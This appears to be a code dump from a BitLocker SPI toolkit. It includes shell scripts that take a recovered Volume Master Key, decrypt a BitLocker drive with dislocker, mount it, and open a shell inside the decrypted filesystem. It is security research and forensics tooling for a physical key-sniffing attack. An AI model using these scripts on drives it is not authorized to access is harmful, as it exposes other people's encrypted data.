/doc/extracted-key.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ReversecLabs/bitlocker-spi-toolkit/c04105672905dfdc51cf04c722bd9c06baa4a8d4/doc/extracted-key.png -------------------------------------------------------------------------------- /mount-bitlocker: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | DEVICE=$1 3 | KEY=$2 4 | docker run --rm -it \ 5 | --cap-add SYS_ADMIN \ 6 | --security-opt apparmor:unconfined \ 7 | --device /dev/fuse \ 8 | --device $DEVICE:/dev/bitlocker \ 9 | bitlocker-spi-toolkit:latest $KEY 10 | -------------------------------------------------------------------------------- /run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | KEY=$1 3 | BITLOCKER_DEVICE=${2:-/dev/bitlocker} 4 | 5 | if [ -b $BITLOCKER_DEVICE ]; then 6 | # Create the VMK file 7 | VMK_FILE=$(mktemp) 8 | echo $KEY | xxd -r -p > $VMK_FILE 9 | 10 | # Mount the drive 11 | while true; do 12 | read -p "[+] Mount as read only? [Yn] " yn 13 | case $yn in 14 | [Yy]|"" ) 15 | READONLY=1 16 | break; 17 | ;; 18 | [Nn] ) 19 | echo "[+] Mounting drive as READ-WRITE" 20 | READONLY=0 21 | break; 22 | ;; 23 | esac 24 | done 25 | 26 | FUSE_PATH=$(mktemp -d) 27 | DISK_PATH=$(mktemp -d) 28 | 29 | [ $READONLY = 1 ] && DIS_FLAGS="-r" || DIS_FLAGS="" 30 | dislocker-fuse -K $VMK_FILE $BITLOCKER_DEVICE $DIS_FLAGS -- $FUSE_PATH || \ 31 | { echo "Error: Could not decrypt the volume" 1>&2 ; exit 1; } 32 | 33 | [ $READONLY = 1 ] && NTFS_FLAGS="-o ro" || NTFS_FLAGS="" 34 | ntfs-3g $NTFS_FLAGS "$FUSE_PATH/dislocker-file" "$DISK_PATH" || \ 35 | { echo "Error: Could not mount the decrypted volume" 1>&2 ; exit 1; } 36 | 37 | # Drop to a shell 38 | echo "[+] Succesfully decrypted and mounted the drive" 39 | echo "[+] Dropping to a shell, run exit to unmount" 40 | bash --rcfile <(echo "PS1='\w \$ '; cd $DISK_PATH;") -i 41 | 42 | # Clean 43 | echo "[+] Unmounting the drive" 44 | umount $DISK_PATH 45 | umount $FUSE_PATH 46 | rm $VMK_FILE 47 | else 48 | echo Error: $BITLOCKER_DEVICE not presented 1>&2 49 | exit 1 50 | fi 51 | --------------------------------------------------------------------------------